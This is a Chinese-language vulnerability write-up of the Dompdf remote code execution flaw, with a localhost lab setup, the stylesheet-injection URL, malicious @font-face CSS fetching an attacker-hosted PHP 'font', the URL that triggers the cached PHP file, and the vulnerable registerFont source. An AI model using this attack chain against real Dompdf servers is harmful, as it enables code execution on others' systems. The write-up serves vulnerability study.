Dompdf命令执行漏洞

2022-04-20

字数统计: 1k | 阅读时长≈ 5 分钟

Dompdf命令执行漏洞

简介

Dompdf是一种基于php的HTML到PDF的转换器。该漏洞通过将CSS注入到Dompdf处理的数据中，存储在一个php缓存文件扩展名的恶意字段中，然后通过web访问执行。

环境搭建

1	https://github.com/positive-security/dompdf-rce

运行测试主机

1 2	cd application php -S localhost:9000

运行攻击主机

1 2	cd exploit php -S localhost:9001

漏洞验证

远程加载资源，将在应用服务器本地缓存资源文件

1	http://localhost:9000/index.php?pdf&title=%3Clink%20rel=stylesheet%20href=%27http://localhost:9001/exploit.css%27%3E

访问缓存的php font文件，触发漏洞

1	http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

漏洞分析

在dompdf的配置文件中，当设置了$isRemoteEnabled（无论设置何值）

1	private $isRemoteEnabled = false;

都允许dompdf通过font-face CSS规则加载自定义字体，如exploit.css文件所示

@font-face {
    font-family:'exploitfont';
    src:url('http://localhost:9001/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
  }

当使用外部字体是，dompdf将其缓存在本地/lib/fonts目录下，并在dompdf_font_family_cache.php中添加相应的条目savaFontFailies()。

如上面加载远程的css文件，在dompdf_font_family_cache文件中可找到其对应的条目

并且在目录下找到转换后的文件

漏洞点在FontMetrics.php中的registerFont方法字体缓存中，如下:

public function registerFont($style, $remoteFile, $context = null)
   {
       $fontname = mb_strtolower($style["family"]);
       $families = $this->getFontFamilies();

       $entry = [];
       if (isset($families[$fontname])) {
           $entry = $families[$fontname];
       }

       $styleString = $this->getType("{$style['weight']} {$style['style']}");

       $fontDir = $this->options->getFontDir();
       $remoteHash = md5($remoteFile);

       $prefix = $fontname . "_" . $styleString;
       $prefix = trim($prefix, "-");
       if (function_exists('iconv')) {
           $prefix = @iconv('utf-8', 'us-ascii//TRANSLIT', $prefix);
       }
       $prefix_encoding = mb_detect_encoding($prefix, mb_detect_order(), true);
       $substchar = mb_substitute_character();
       mb_substitute_character(0x005F);
       $prefix = mb_convert_encoding($prefix, "ISO-8859-1", $prefix_encoding);
       mb_substitute_character($substchar);
       $prefix = preg_replace("[\W]", "_", $prefix);
       $prefix = preg_replace("/[^-_\w]+/", "", $prefix);

       $localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;

       if (isset($entry[$styleString]) && $localFile == $entry[$styleString]) {
           return true;
       }

       $cacheEntry = $localFile;
       $localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));

       $entry[$styleString] = $cacheEntry;

       // Download the remote file
       [$protocol] = Helpers::explode_url($remoteFile);
       if (!$this->options->isRemoteEnabled() && ($protocol !== "" && $protocol !== "file://")) {
           Helpers::record_warnings(E_USER_WARNING, "Remote font resource $remoteFile referenced, but remote file download is disabled.", __FILE__, __LINE__);
           return false;
       }
       if ($protocol === "" || $protocol === "file://") {
           $realfile = realpath($remoteFile);

           $rootDir = realpath($this->options->getRootDir());
           if (strpos($realfile, $rootDir) !== 0) {
               $chroot = $this->options->getChroot();
               $chrootValid = false;
               foreach ($chroot as $chrootPath) {
                   $chrootPath = realpath($chrootPath);
                   if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
                       $chrootValid = true;
                       break;
                   }
               }
               if ($chrootValid !== true) {
                   Helpers::record_warnings(E_USER_WARNING, "Permission denied on $remoteFile. The file could not be found under the paths specified by Options::chroot.", __FILE__, __LINE__);
                   return false;
               }
           }

           if (!$realfile) {
               Helpers::record_warnings(E_USER_WARNING, "File '$realfile' not found.", __FILE__, __LINE__);
               return false;
           }

           $remoteFile = $realfile;
       }
       list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
       if ($remoteFileContent === null) {
           return false;
       }

       $localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
       file_put_contents($localTempFile, $remoteFileContent);

       $font = Font::load($localTempFile);

       if (!$font) {
           unlink($localTempFile);
           return false;
       }

       $font->parse();
       $font->saveAdobeFontMetrics("$cacheEntry.ufm");
       $font->close();

       unlink($localTempFile);

       if ( !file_exists("$cacheEntry.ufm") ) {
           return false;
       }

       // Save the changes
       file_put_contents($localFile, $remoteFileContent);

       if ( !file_exists($localFile) ) {
           unlink("$cacheEntry.ufm");
           return false;
       }

       $this->setFontFamily($fontname, $entry);
       $this->saveFontFamilies();

       return true;
   }